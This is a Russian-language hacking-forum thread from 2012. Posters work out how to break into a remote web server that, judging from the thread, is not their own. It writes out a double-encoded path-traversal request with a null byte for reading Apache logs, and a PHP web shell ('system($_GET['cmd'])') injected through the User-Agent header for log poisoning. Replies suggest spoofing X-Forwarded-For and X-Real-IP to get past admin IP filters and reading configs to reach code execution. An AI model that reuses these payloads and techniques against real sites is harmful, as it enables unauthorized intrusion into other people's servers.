HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21011  
Старый 15.07.2012, 16:03
gateout
Guest
Сообщений: n/a
Провел на форуме:
5208

Репутация: 0
По умолчанию

Удалось получить доступ к логам web-сервера. Кстати, такой момент у меня это получается сделать только если редактирую запросы в webscarabe

attachment/..%252F..%252F..%252F..%252F..%252F..%252F..%252F. .%252F..%252F..%252Fvar%252Flog%252Fapache2%252Fsi te.com_errors.log%2500.jpg

а через браузер double url encode не получается сделать, и ответ в браузер не выводится, а только в WEB-scarabe.

Как то можно это обойти? получится ли у меня при заливке шелла обойти как то этот момент?

Я так понимаю мне необходимо теперь проинклудить файлы логов с использованием user-agent?
 
Ответить с цитированием

  #21012  
Старый 15.07.2012, 18:50
AKYLA
Участник форума
Регистрация: 29.11.2007
Сообщений: 116
Провел на форуме:
283596

Репутация: 88
По умолчанию

Цитата:
Сообщение от Ereee  
Ereee said:
Файл просто скаичвается или выполняется перед скачиванием? Пробывал X-Forwarded-For(X-Real-IP etc.)?
UPD. Phpmyadmin есть? Если есть, прочитай конфиги и пробуй RCE:
https://rdot.org/forum/showthread.php?t=286&page=2
IP фильтруется в httpd.conf, X-Forwarded-For в этом случае может помочь? и можно подробнее о нем, а то что-то я не очень понимаю как правильно нужно его использовать.

Как проверить скачивается или выполняется?

Phpmyadmin если где-то и есть, то я не нашел его, хотя просканил на папки все, короче в явном виде не доступен.
 
Ответить с цитированием

  #21013  
Старый 15.07.2012, 19:20
Ereee
Guest
Сообщений: n/a
Провел на форуме:
102354

Репутация: 267
По умолчанию

Цитата:
Сообщение от AKYLA  
AKYLA said:
IP фильтруется в httpd.conf, X-Forwarded-For в этом случае может помочь? и можно подробнее о нем, а то что-то я не очень понимаю как правильно нужно его использовать.
Phpmyadmin если где-то и есть, то я не нашел его, хотя просканил на папки все, короче в явном виде не доступен.
Некоторые скрипты верят X-Forwarded-For, и можно передать хидер:

X-Forwarded-For: 1.1.1.1

Или(если установлен какой-то модуль, название не помню):

X-Real-IP: 1.1.1.1

Где 1.1.1.1 это айпи админа.

Код:
Code:
Как проверить скачивается или выполняется?
Например ../../var/www/index.php, тебе скачивается файл index.php, в нем есть "" ? Или html-код главный страницы?
 
Ответить с цитированием

  #21014  
Старый 15.07.2012, 20:05
gateout
Guest
Сообщений: n/a
Провел на форуме:
5208

Репутация: 0
По умолчанию

попробовал include в логи apache на тестовом сервере (параметр user-agent). Действительно в логи записалась строчка 10.200.16.52 - - [15/Jul/2012:18:53:50 +0400] "GET /shell2/ HTTP/1.1" 200 54855 "-" , захожу через браузер в http://testsite.comf/shell2/access_log?cmd=phpinfo(); а apache php-скрипт по ходу не отрабатывает, а вываливает содержание лога(то есть в виде текста).

Может быть я что-то не так сделал?
 
Ответить с цитированием

  #21015  
Старый 15.07.2012, 20:33
mironich
Guest
Сообщений: n/a
Провел на форуме:
142623

Репутация: 19
По умолчанию

Цитата:
Сообщение от gateout  
gateout said:
попробовал include в логи apache на тестовом сервере (параметр user-agent). Действительно в логи записалась строчка 10.200.16.52 - - [15/Jul/2012:18:53:50 +0400] "GET /shell2/ HTTP/1.1" 200 54855 "-" , захожу через браузер в http://testsite.comf/shell2/access_log?cmd=phpinfo(); а apache php-скрипт по ходу не отрабатывает, а вываливает содержание лога(то есть в виде текста).
Может быть я что-то не так сделал?
мб файлы не инклюдяться, а просто выводиться содержимое?
 
Ответить с цитированием

  #21016  
Старый 15.07.2012, 20:50
gateout
Guest
Сообщений: n/a
Провел на форуме:
5208

Репутация: 0
По умолчанию

в смысле не инклудяться?в логе же появляется php-скрипт, ток вот через браузер он не выполняется, а просто показывается содержимое лога, включая php-код. Если изменить файл лога на файл с расширением .php php-скрипт отрабатывается.

Но это я на тестовом сервере могу сделать(переименовать файл), а на удаленном не получится. Там access_log как был так и останется, как же php-скрипт внутри логов исполнить???
 
Ответить с цитированием

  #21017  
Старый 15.07.2012, 21:59
AKYLA
Участник форума
Регистрация: 29.11.2007
Сообщений: 116
Провел на форуме:
283596

Репутация: 88
По умолчанию

Цитата:
Сообщение от Ereee  
Ereee said:
Некоторые скрипты верят X-Forwarded-For, и можно передать хидер:
X-Forwarded-For: 1.1.1.1
Или(если установлен какой-то модуль, название не помню):
X-Real-IP: 1.1.1.1
Где 1.1.1.1 это айпи админа.
Увы это не прокатывает, так как фильтрация идет Апачем

Цитата:
Сообщение от Ereee  
Ereee said:
Например ../../var/www/index.php, тебе скачивается файл index.php, в нем есть "" ? Или html-код главный страницы?
Ааа в этом плане, нет скачиваются именно исходники, не выполненные, соответственно можно посмотреть все исходники и настройки сервака и.т.д но проблема в том, что узнать то все это можно, но войти с этими данными никуда нельзя из-за фильтрации админок по IP,

- порты тоже все прикрыты кроме 80 и 443

- соседних сайтов тоже никаких нет, на серваке только один портал

- сервисов каких либо тоже нет больше
 
Ответить с цитированием

  #21018  
Старый 15.07.2012, 22:40
gateout
Guest
Сообщений: n/a
Провел на форуме:
5208

Репутация: 0
По умолчанию

В продолжение:

нашел такой скрипт со следующим содержанием

private $prepared_queries = null;

private $db;

private function __construct($name)

{

$config = BebopConfig::getInstance();

$cfg_root = 'db.'.$name.'.';

$this->prepared_queries = array();

$this->db = new PDO(

$config->getVar($cfg_root.'dbtype').':'.$config->getVar($cfg_root.'dsn'),

$config->getVar($cfg_root.'user'),

$config->getVar($cfg_root.'password')

);

$this->db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$this->db->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY , 1);

$this->db->exec("SET NAMES utf8");

}

public static function getInstance($name = 'live')

{

if (!array_key_exists($name, self::$instances)) {

self::$instances[$name] = new PDO_Singleton($name);

ника не могу определить имя файла, в котором предположительно настройки для подключения к БД хранятся, я так понимаю имя файл начинается с new PDO
 
Ответить с цитированием

  #21019  
Старый 15.07.2012, 22:58
gateout
Guest
Сообщений: n/a
Провел на форуме:
5208

Репутация: 0
По умолчанию

на сайт в логи apache засунул через User-agent

'; if(isset($_GET['cmd'])) system($_GET['cmd']); ?>

Захожу http://site.com/attachment/..%252F..%252F..%252F..%252F..%252F..%252F..%252F. .%252F..%252F..%252Fvar%252Flog%252Fapache2%252Fsi te.ru_custom.log%2500.jpg

и вижу содержимое лог файла включая

91.221.56.225 - - [15/Jul/2012:21:47:24 +0400] "GET / HTTP/1.1" 200 64697 "-" "'; if(isset($_GET['cmd'])) system($_GET['cmd']); ?>"

Но php-получается не исполняется. Что делать?
 
Ответить с цитированием

  #21020  
Старый 16.07.2012, 00:06
AKYLA
Участник форума
Регистрация: 29.11.2007
Сообщений: 116
Провел на форуме:
283596

Репутация: 88
По умолчанию

gateout

Нет PDO расширение для php, интерфейс для доступа с различным базам данных
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ